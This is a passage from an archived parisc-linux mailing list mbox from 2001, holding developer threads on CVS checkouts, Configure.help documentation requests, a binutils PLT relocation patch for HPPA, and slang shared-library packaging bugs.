from test to test not random.  Using apt in multiple ways probably produces 
more random-looking failures.
 
> Revolutions do not require corporate support.

-- 
			-Paul Bame

    We are somehow fooled into believing that the profoundly undemocratic,
    indeed fascist, structure inside corporations, some of the most powerful
    institutions of our time, is no threat to our democracy.
						    Lip de Los Nacos






From - Thu Nov 08 21:17:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] i hate cvs
Date: Mon, 28 May 2001 00:48:58 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20010528004858.L23718@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620144 19603 80.91.229.3 (22 Nov 2014 01:35:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 27 17:49:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9AA47482A
	for <parisc-linux@parisc-linux.org>; Sun, 27 May 2001 17:49:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 154AHK-0008Hb-00
	for parisc-linux@parisc-linux.org; Mon, 28 May 2001 00:48:58 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11130

someone want to tell me how to get a copy of our source tree from, say,
May 19th?  cvs up -D'19 May 2001' is not the answer because it gets
files off the vendor branch which is useless.

why aren't there any good source control tools?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: i hate cvs
Date: Mon, 28 May 2001 08:52:49 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20010528065444.273B5482A@dsl2.external.hp.com>
References: <20010528004858.L23718@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620144 19604 80.91.229.3 (22 Nov 2014 01:35:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:44 +0000 (UTC)
To: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 28 00:54:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 273B5482A
	for <parisc-linux@parisc-linux.org>; Mon, 28 May 2001 00:54:44 -0600 (MDT)
Original-Received: (qmail 15081 invoked by uid 0); 28 May 2001 06:54:38 -0000
Original-Received: from pd9040244.dip.t-dialin.net (HELO there) (217.4.2.68)
  by mail.gmx.net (mp003-rz3) with SMTP; 28 May 2001 06:54:38 -0000
X-Mailer: KMail [version 1.2.2]
In-Reply-To: <20010528004858.L23718@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11131

Hi Matthew,

without guarantee - but I think you first need to
"cvs co -A"  and then "cvs up -D20010519"

Helge

On Monday 28 May 2001 01:48, Matthew Wilcox wrote:
> someone want to tell me how to get a copy of our source tree from, say,
> May 19th?  cvs up -D'19 May 2001' is not the answer because it gets
> files off the vendor branch which is useless.
>
> why aren't there any good source control tools?




From - Thu Nov 08 21:17:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: Configure.help entries wanted
Date: Mon, 28 May 2001 09:37:51 +0200
Lines: 147
Approved: news@gmane.org
Message-ID: <20010528073912.0A2EB482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620145 19607 80.91.229.3 (22 Nov 2014 01:35:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 28 01:39:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 0A2EB482A
	for <parisc-linux@parisc-linux.org>; Mon, 28 May 2001 01:39:12 -0600 (MDT)
Original-Received: (qmail 31456 invoked by uid 0); 28 May 2001 07:39:09 -0000
Original-Received: from pd9040244.dip.t-dialin.net (HELO there) (217.4.2.68)
  by mail.gmx.net (mail09) with SMTP; 28 May 2001 07:39:09 -0000
X-Mailer: KMail [version 1.2.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11132

Hi,

I saw the following mail from lkml and thought we should feed Eric S. Raymond 
with the necessary explanations for 
CONFIG_IODC_CONSOLE and
CONFIG_IOMMU_CCIO.

Anyone to volunteer for CONFIG_IOMMU_CCIO ? 
I can take care of CONFIG_IODC_CONSOLE later today - even if it will be 
removed later in the parisc-kernel development cycle.

Greetings,
Helge

----------  Forwarded Message  ----------
Subject: Configure.help entries wanted
Date: Fri, 25 May 2001 01:22:00 -0400
From: "Eric S. Raymond" <esr@thyrsus.com>
To: CML2 <linux-kernel@vger.kernel.org>, kbuild-devel@lists.sourceforge.net


Over the last few week, Steven Cole and I have been working hard on filling
in the missing entries in Configure.help.  When I accepted the maintainer's
baton from Axel Boldt, there were 537 of these.  There are now 55.  Yes,
we collected around 50 entries and outright wrote close to 450 others.

That's the good news.  The bad news is that the 55 left are the ones we could
not document by reading the code and doing Web searches to find context.
All but two are buried in deep, obscure corners of the port trees.

If we take the open-source idea seriously, we're trying to create a
kernel that can be tinkered with by anyone with a bright idea.
Therefore we should have *every* configuration symbol documented.

Please help.  If you understand what one of these symbols is doing, mail
me and tell me.  Your English doesn't have to be perfectly polished, I'll
take care of that.  The important thing is that your explanation should
provide *motivation* -- not just what the option does, but why somebody
building a kernel might want it on.

Here's an example of a poor explanation:

CONFIG_GONKULATOR
   Say Y here to support adaptive gonkulation using the Randomatics 5523
   board.

Here's an example of a good explanation:

CONFIG_GONKULATOR
   Say Y here to enable adaptive gonkulation using the Randomatics 5523
   board.  With this feature you'll be able to cross-wire your frobozz ports
   to a nonce generator for significantly faster foo-counter spin.

Amaze your friends and confound your enemies with your hackerly erudition --
contribute a Configure.help entry today!

---------------------------------------------------------------------------
Mainline:

CONFIG_NET_SCH_ATM

Multiple ports:

CONFIG_SUN_KEYBOARD

ARM port:

CONFIG_ARCH_FTVPCI
CONFIG_ARCH_NEXUSPCI
CONFIG_ARCH_P720T
CONFIG_CPU_ARM920_CPU_IDLE
CONFIG_CPU_ARM920_D_CACHE_ON
CONFIG_CPU_ARM920_I_CACHE_ON
CONFIG_DEBUG_CLPS711X_UART2
CONFIG_SA1100_SHERMAN

PPC port:

CONFIG_EST8260
CONFIG_BLK_DEV_MPC8xx_IDE
CONFIG_IRQ_ALL_CPUS
CONFIG_USE_MDIO

S390 port:

CONFIG_CHANDEV
CONFIG_CTC
CONFIG_DASD_DIAG
CONFIG_BLK_DEV_XPRAM
CONFIG_FAST_IRQ
CONFIG_IUCV
CONFIG_S390_SUPPORT
CONFIG_S390_TAPE
CONFIG_S390_TAPE_3480
CONFIG_S390_TAPE_3490
CONFIG_S390_TAPE_BLOCK
CONFIG_S390_TAPE_CHAR

SuperH port:

CONFIG_SH_SCI
CONFIG_SH_STANDARD_BIOS
CONFIG_DEBUG_KERNEL_WITH_GDB_STUB

IA64 port:

CONFIG_DISABLE_VHPT
CONFIG_MCKINLEY_A0_SPECIFIC
CONFIG_MCKINLEY_ASTEP_SPECIFIC
CONFIG_IA64_DEBUG_CMPXCHG
CONFIG_IA64_DEBUG_IRQ
CONFIG_IA64_EARLY_PRINTK
CONFIG_IA64_PRINT_HAZARDS

CRIS port:

CONFIG_ETRAX_FLASH_BUSWIDTH
CONFIG_ETRAX_I2C_USES_PB_NOT_PB_I2C
CONFIG_ETRAX_RS485_ON_PA_BIT
CONFIG_ETRAX_SDRAM
CONFIG_ETRAX_SER0_CD_ON_PB_BIT
CONFIG_ETRAX_SER0_DSR_ON_PB_BIT
CONFIG_ETRAX_SER0_DTR_ON_PB_BIT
CONFIG_ETRAX_SER0_RI_ON_PB_BIT
CONFIG_ETRAX_SER1_CD_ON_PB_BIT
CONFIG_ETRAX_SER1_DSR_ON_PB_BIT
CONFIG_ETRAX_SER1_DTR_ON_PB_BIT
CONFIG_ETRAX_SER1_RI_ON_PB_BIT
CONFIG_ETRAX_SER2_CD_ON_PA_BIT
CONFIG_ETRAX_SER2_DSR_ON_PA_BIT
CONFIG_ETRAX_SER2_DTR_ON_PA_BIT
CONFIG_ETRAX_SER2_RI_ON_PA_BIT
CONFIG_JULIETTE

PA-RISC port:

CONFIG_IODC_CONSOLE
CONFIG_IOMMU_CCIO
--
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

Nearly all men can stand adversity, but if you want to test a man's
 character, give him power.
	-- Abraham Lincoln




From - Thu Nov 08 21:17:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] dead keyboard after booting 0.61 STI32 iso on 
	a  715/100
Date: Mon, 28 May 2001 09:44:09 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117C8D0@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620145 19609 80.91.229.3 (22 Nov 2014 01:35:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:45 +0000 (UTC)
To: "'Matthieu Delahaye'" <delahaym@esiee.fr>,
	diab <diab@diab.rulez.org>, puffin@esiee.net,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 28 01:45:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id A6474482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 May 2001 01:45:43 -0600 (MDT)
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f4S7iAX26541;
	Mon, 28 May 2001 09:44:23 +0200 (MET DST)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <K7ZWGKS6>; Mon, 28 May 2001 09:44:09 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11133

Hi all,

Just for the record,
Have identical behaviour with c110, with ps/2 keyboard&mouse.
Tried 0.6 and 0.6.1, both freezes after the login prompt.....

Hans

> -----Original Message-----
> From:	Matthieu Delahaye [SMTP:delahaym@esiee.fr]
> Sent:	Friday, May 25, 2001 10:08 AM
> To:	diab; puffin@esiee.net; parisc-linux
> Subject:	Re: [parisc-linux] dead keyboard after booting 0.61 STI32
> iso on a  715/100
> 
> Hi diab(?)
> 
> Xavier Debacker could have some element 
> for you about your problems but is not 
> here today (Legal Holidays). Some hardware
> on your 715 box could not work correctly
> with the PA/Linux version given on ISOs.
> Could you send him (debackex@esiee.fr) the list
> of hardware detected by the kernel during the boot sequence?
> Or at least if you have an HIL or PS/2 Keyboard?
> I think you could get so a fast answer sunday evening (GMT+1)
> 
> Regards,
> 
> Matthieu Delahaye
> -- 
> ESIEE Team
> http://mkhppa1.esiee.fr/
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:17:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] elflink.h (elf_bfd_final_link)
Date: Mon, 28 May 2001 18:46:53 +0930
Lines: 170
Approved: news@gmane.org
Message-ID: <20010528184653.B11349@squeak.one.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620145 19613 80.91.229.3 (22 Nov 2014 01:35:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, rhirst@linuxcare.com
To: binutils@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 28 03:09:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-ob05.one.net.au (mail-ob05.one.net.au [61.12.0.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68191482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 May 2001 03:09:57 -0600 (MDT)
Original-Received: Received: [from squeak.local (async67-ade-isp-7.nas.one.net.au [203.101.92.68])
	by mail-ob05.one.net.au  with SMTP id f4S99AC02540
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 May 2001 19:09:20 +1000 (EST)]
Original-Received: (qmail 11445 invoked by uid 179); 28 May 2001 09:16:53 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
Xref: news.gmane.org gmane.linux.ports.parisc:11134

Does anyone know why elf_link_output_extsym is only called for a
shared link on symbols forced local?  Is it just a case of bit-rot
in that at one stage it was only symbol versioning with shared libs
that could force symbols local?

Not calling elf_link_output_extsym has the effect that the back-end
finish_dynamic_symbol routine isn't called, which means various hacks
are needed like the following:

bfd/ChangeLog
	* elf32-hppa.c (elf32_hppa_relocate_section): Set up .plt entries
	for symbols forced local that need plabels.
	(elf32_hppa_adjust_dynamic_symbol): Don't allocate space in
	.plt.rela for local syms if non-shared.
	(hppa_build_one_stub): Mask lsb of plt.offset.
	(elf32_hppa_finish_dynamic_symbol): Abort if lsb of plt.offset set.
	(clobber_millicode_symbols): Correct comment.
	(elf32_hppa_relocate_section): Likewise.
	(elf32_hppa_finish_dynamic_symbol): Likewise.

-- 
Alan Modra

Index: bfd/elf32-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf32-hppa.c,v
retrieving revision 1.34
diff -u -p -r1.34 elf32-hppa.c
--- elf32-hppa.c	2001/05/25 03:46:49	1.34
+++ elf32-hppa.c	2001/05/28 08:31:36
@@ -831,6 +831,7 @@ hppa_build_one_stub (gen_entry, in_arg)
   bfd_byte *loc;
   bfd_vma sym_value;
   bfd_vma insn;
+  bfd_vma off;
   int val;
   int size;
 
@@ -938,9 +939,12 @@ hppa_build_one_stub (gen_entry, in_arg)
 
     case hppa_stub_import:
     case hppa_stub_import_shared:
-      if (stub_entry->h->elf.plt.offset >= (bfd_vma) -2)
+      off = stub_entry->h->elf.plt.offset;
+      if (off >= (bfd_vma) -2)
 	abort ();
-      sym_value = (stub_entry->h->elf.plt.offset
+
+      off &= ~ (bfd_vma) 1;
+      sym_value = (off
 		   + hplink->splt->output_offset
 		   + hplink->splt->output_section->vma
 		   - elf_gp (hplink->splt->output_section->owner));
@@ -1014,10 +1018,10 @@ hppa_build_one_stub (gen_entry, in_arg)
 	     <__gp>.  */
 
 	  bfd_put_32 (hplink->splt->owner, value,
-		      hplink->splt->contents + eh->elf.plt.offset);
+		      hplink->splt->contents + off);
 	  value = elf_gp (hplink->splt->output_section->owner);
 	  bfd_put_32 (hplink->splt->owner, value,
-		      hplink->splt->contents + eh->elf.plt.offset + 4);
+		      hplink->splt->contents + off + 4);
 	}
       break;
 
@@ -1957,11 +1961,14 @@ elf32_hppa_adjust_dynamic_symbol (info, 
 		return false;
 	    }
 
-	  /* We also need to make an entry in the .rela.plt section.  */
-	  s = hplink->srelplt;
-	  s->_raw_size += sizeof (Elf32_External_Rela);
+	  if (h->dynindx != -1 || info->shared)
+	    {
+	      /* We also need to make an entry in the .rela.plt section.  */
+	      s = hplink->srelplt;
+	      s->_raw_size += sizeof (Elf32_External_Rela);
 
-	  hplink->need_plt_stub = 1;
+	      hplink->need_plt_stub = 1;
+	    }
 	}
       return true;
     }
@@ -2149,8 +2156,8 @@ clobber_millicode_symbols (h, info)
      struct elf_link_hash_entry *h;
      struct bfd_link_info *info;
 {
-  /* Note!  We only want to remove these from the dynamic symbol
-     table.  Therefore we do not set ELF_LINK_FORCED_LOCAL.  */
+  /* We only want to remove these from the dynamic symbol table.
+     Therefore we do not leave ELF_LINK_FORCED_LOCAL set.  */
   if (h->type == STT_PARISC_MILLI)
     {
       unsigned short oldflags = h->elf_link_hash_flags;
@@ -3684,10 +3691,10 @@ elf32_hppa_relocate_section (output_bfd,
 
 		  if (info->shared)
 		    {
-		      /* Output a dynamic *ABS* relocation for this
-			 GOT entry.  In this case it is relative to
-			 the base of the object because the symbol
-			 index is zero.  */
+		      /* Output a dynamic relocation for this GOT
+			 entry.  In this case it is relative to the
+			 base of the object because the symbol index
+			 is zero.  */
 		      Elf_Internal_Rela outrel;
 		      asection *srelgot = hplink->srelgot;
 
@@ -3735,6 +3742,25 @@ elf32_hppa_relocate_section (output_bfd,
 	      if (h != NULL)
 		{
 		  off = h->elf.plt.offset;
+		  if (!info->shared
+		      && (h->elf.elf_link_hash_flags & ELF_LINK_FORCED_LOCAL))
+		    {
+		      /* In a non-shared link, adjust_dynamic_symbols
+			 isn't called for symbols forced local.  We
+			 need to write out the plt entry here.  */ 
+		      if ((off & 1) != 0)
+			off &= ~1;
+		      else
+			{
+			  bfd_put_32 (output_bfd,
+				      relocation,
+				      hplink->splt->contents + off);
+			  bfd_put_32 (output_bfd,
+				      elf_gp (hplink->splt->output_section->owner),
+				      hplink->splt->contents + off + 4);
+			  h->elf.plt.offset |= 1;
+			}
+		    }
 		}
 	      else
 		{
@@ -3780,7 +3806,7 @@ elf32_hppa_relocate_section (output_bfd,
 		    }
 		}
 
-	      if (off >= (bfd_vma) -2)
+	      if (off >= (bfd_vma) -2 || (off & 1) != 0)
 		abort ();
 
 	      /* PLABELs contain function pointers.  Relocation is to
@@ -4015,6 +4041,9 @@ elf32_hppa_finish_dynamic_symbol (output
     {
       bfd_vma value;
 
+      if (h->plt.offset & 1)
+	abort ();
+
       /* This symbol has an entry in the procedure linkage table.  Set
 	 it up.
 
@@ -4045,8 +4074,8 @@ elf32_hppa_finish_dynamic_symbol (output
 	    {
 	      /* To support lazy linking, the function pointer is
 		 initialised to point to a special stub stored at the
-		 end of the .plt.  This is only done for plt entries
-		 with a non-*ABS* dynamic relocation.  */
+		 end of the .plt.  This is not done for plt entries
+		 with a base-relative dynamic relocation.  */
 	      value = (hplink->splt->output_offset
 		       + hplink->splt->output_section->vma
 		       + hplink->splt->_raw_size




From - Thu Nov 08 21:17:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] elflink.h (elf_bfd_final_link)
Date: Mon, 28 May 2001 14:51:09 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20010528145109.A25745@linuxcare.com>
References: <20010528184653.B11349@squeak.one.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620146 19615 80.91.229.3 (22 Nov 2014 01:35:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:46 +0000 (UTC)
Cc: amodra@one.net.au
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 28 07:53:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust171.bre.cable.ntl.com [213.105.88.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3CD6482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 May 2001 07:53:50 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id AD8BFB008; Mon, 28 May 2001 14:51:09 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010528184653.B11349@squeak.one.net.au>; from amodra@one.net.au on Mon, May 28, 2001 at 06:46:53PM +0930
Xref: news.gmane.org gmane.linux.ports.parisc:11135

On Mon, May 28, 2001 at 06:46:53PM +0930, amodra@one.net.au wrote:
> Not calling elf_link_output_extsym has the effect that the back-end
> finish_dynamic_symbol routine isn't called, which means various hacks
> are needed like the following:

I built a new binutils from pehc:~amodra/binutils-current, which has
this patch, and it produces a working find and make.

So, we need a new binutils, and a check for more broken binaries.
This check seems to do it, someone can roll it in to plt-checker.

for i in /bin/* /sbin/* /usr/bin/* /usr/sbin/*; do if readelf -r $i 2> /dev/null | grep -q R_PARISC_NONE; then echo ===== $i =====; fi; done

Things I know have a problem are find, make, modutils.  libmagick++5
has also been reported.  However, I don't have much installed, so
someone need to run the check over the archive, I guess.

I still have an issue with the binaries produced from a modutils
build though (e.g depmod), which still have a R_PARISC_NONE in
them.  I've tar-ed up my build tree, as pehc:~rhirst/modutilsbug.tgz
The libc, etc are as per the ones in findbug.tgz.  The binaries do
seem to work, but Alan says R_PARISC_NONE is indicative of a linker
bug.

Many thanks to Alan for his help!

Richard





From - Thu Nov 08 21:17:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: slang.so problems
Date: Mon, 28 May 2001 15:06:38 +0100
Lines: 97
Approved: news@gmane.org
Message-ID: <20010528150638.B25745@linuxcare.com>
References: <20010515165900.H24955@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620146 19618 80.91.229.3 (22 Nov 2014 01:35:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 28 08:09:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust171.bre.cable.ntl.com [213.105.88.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44E90482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 May 2001 08:09:16 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 36272B008; Mon, 28 May 2001 15:06:38 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010515165900.H24955@linuxcare.com>; from rhirst@linuxcare.com on Tue, May 15, 2001 at 04:59:00PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11136

This still isn't solved.  If you install the slang1 and util-linux
from the archive, and do not install slang1-dev, then cfdisk will
not run:

slab:/usr/src/findutils-4.1.7# cfdisk 
cfdisk: error while loading shared libraries: cannot open shared object file: cannot load shared object file: No such file or directory
slab:/usr/src/findutils-4.1.7# ldd /sbin/cfdisk 
        libslang.so => not found
        libc.so.6 => /lib/libc.so.6 (0x4002b000)
        /lib/ld.so.1 => /lib/ld.so.1 (0x40000000)
slab:/usr/src/findutils-4.1.7# dpkg -c /share/slang1_1.4.4-2_hppa.deb 
drwxr-xr-x root/root         0 2001-04-23 04:57:55 ./
drwxr-xr-x root/root         0 2001-04-23 04:57:51 ./lib/
-rw-r--r-- root/root    471076 2001-04-23 04:57:51 ./lib/libslang.so.1.4.4
drwxr-xr-x root/root         0 2001-04-23 04:57:47 ./usr/
drwxr-xr-x root/root         0 2001-04-23 04:57:46 ./usr/lib/
drwxr-xr-x root/root         0 2001-04-23 04:57:47 ./usr/share/
drwxr-xr-x root/root         0 2001-04-23 04:57:47 ./usr/share/doc/
drwxr-xr-x root/root         0 2001-04-23 04:57:53 ./usr/share/doc/slang1/
-rw-r--r-- root/root       615 2001-02-21 02:17:28 ./usr/share/doc/slang1/NEWS
-rw-r--r-- root/root       728 2001-02-21 02:17:28 ./usr/share/doc/slang1/README
-rw-r--r-- root/root     21113 2001-02-21 02:17:29 ./usr/share/doc/slang1/changelog.gz
-rw-r--r-- root/root      2012 2001-04-23 04:55:23 ./usr/share/doc/slang1/copyright
-rw-r--r-- root/root      3503 2001-02-21 02:17:29 ./usr/share/doc/slang1/UPGRADE.txt.gz
-rw-r--r-- root/root      1872 2001-04-23 04:55:23 ./usr/share/doc/slang1/changelog.Debian.gz
lrwxrwxrwx root/root         0 2001-04-23 04:57:46 ./lib/libslang.so.1 -> libslang.so.1.4.4

We are only getting away with this because the slang1_1.4.4.0.1-1_hppa.deb
in my install tree is hacked to provide libslang.so.

Richard



On Tue, May 15, 2001 at 04:59:00PM +0100, Richard Hirst wrote:
> I have had problems relating to slang.so when building boot-floppies.
> I don't entirely understand what is going on, so I'm posting the
> facts as I see them, so others can comment.
> 
> There are three packages, slang1, slang1-dev, slang1-pic (-pic probably
> isn't relevant here).
> 
> The basic problem is that slang1 provides only libslang1.so.1 and
> libslang.so.1.4.4, but various things expect libslang.so and so
> wont run unless sland1-dev is installed.  slang1-dev provides
> libslang.so.
> 
> Things I have found that are affected are cfdisk (in util-linux),
> whiptail, and libnewt0.
> 
> As a test I installed the three slang1 packages from the debian
> archive and did "gcc -o hw hw.c -lslang; ldd hw".  I get:
> 
>         libslang.so => /usr/lib/libslang.so (0x4002b000)
>         libc.so.6 => /lib/libc.so.6 (0x400b0000)
>         libm.so.6 => /lib/libm.so.6 (0x401f4000)
>         libdl.so.2 => /lib/libdl.so.2 (0x40234000)
>         /lib/ld.so.1 => /lib/ld.so.1 (0x40000000)
> 
> If I now remove slang1-dev, and try to run hw I get
> 
> ./hw: error while loading shared libraries: libslang.so: cannot load shared object file: No such file or directory
> 
> 
> If I build my own slang1 packages and install them and then remake
> 'hw', I get
> 
>         libslang.so.1 => /lib/libslang.so.1 (0x4002b000)
>         libc.so.6 => /lib/libc.so.6 (0x400b0000)
>         libm.so.6 => /lib/libm.so.6 (0x401f4000)
>         libdl.so.2 => /lib/libdl.so.2 (0x40234000)
>         /lib/ld.so.1 => /lib/ld.so.1 (0x40000000)
> 
> and 'hw' runs fine with slang1-dev removed, as it should.
> 
> 
> cfdisk from the debain archive wont run unless slang1-dev is installed.
> If I rebuild cfdisk myself, with the debian slang1 packages installed,
> cfdisk still wants libslang.so.  If I rebuild cfdisk with my own build
> slang1 packages installed, the resulting cfdisk wants libslang.so.1,
> as it should.
> 
> So, it seems something is wrong with the slang1 packages in debian,
> and that has resulted in bad util-linux, whiptail, and libnewt0 builds.
> 
> I don't know what might have gone wrong with the debian builds, because
> when I build slang1 debs they are fine.
> 
> Can someone else try this, and, if appropriate, upload new slang*,
> util-linux, whiptail, and libnewt0 packages to the archive?
> 
> Thanks,
>   Richard
> 




From - Thu Nov 08 21:17:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: slang.so problems
Date: Mon, 28 May 2001 09:17:24 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <m154Olo-001VltC@bame.riverrock.org>
References: <20010515165900.H24955@linuxcare.com>  
 <20010528150638.B25745@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620146 19619 80.91.229.3 (22 Nov 2014 01:35:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
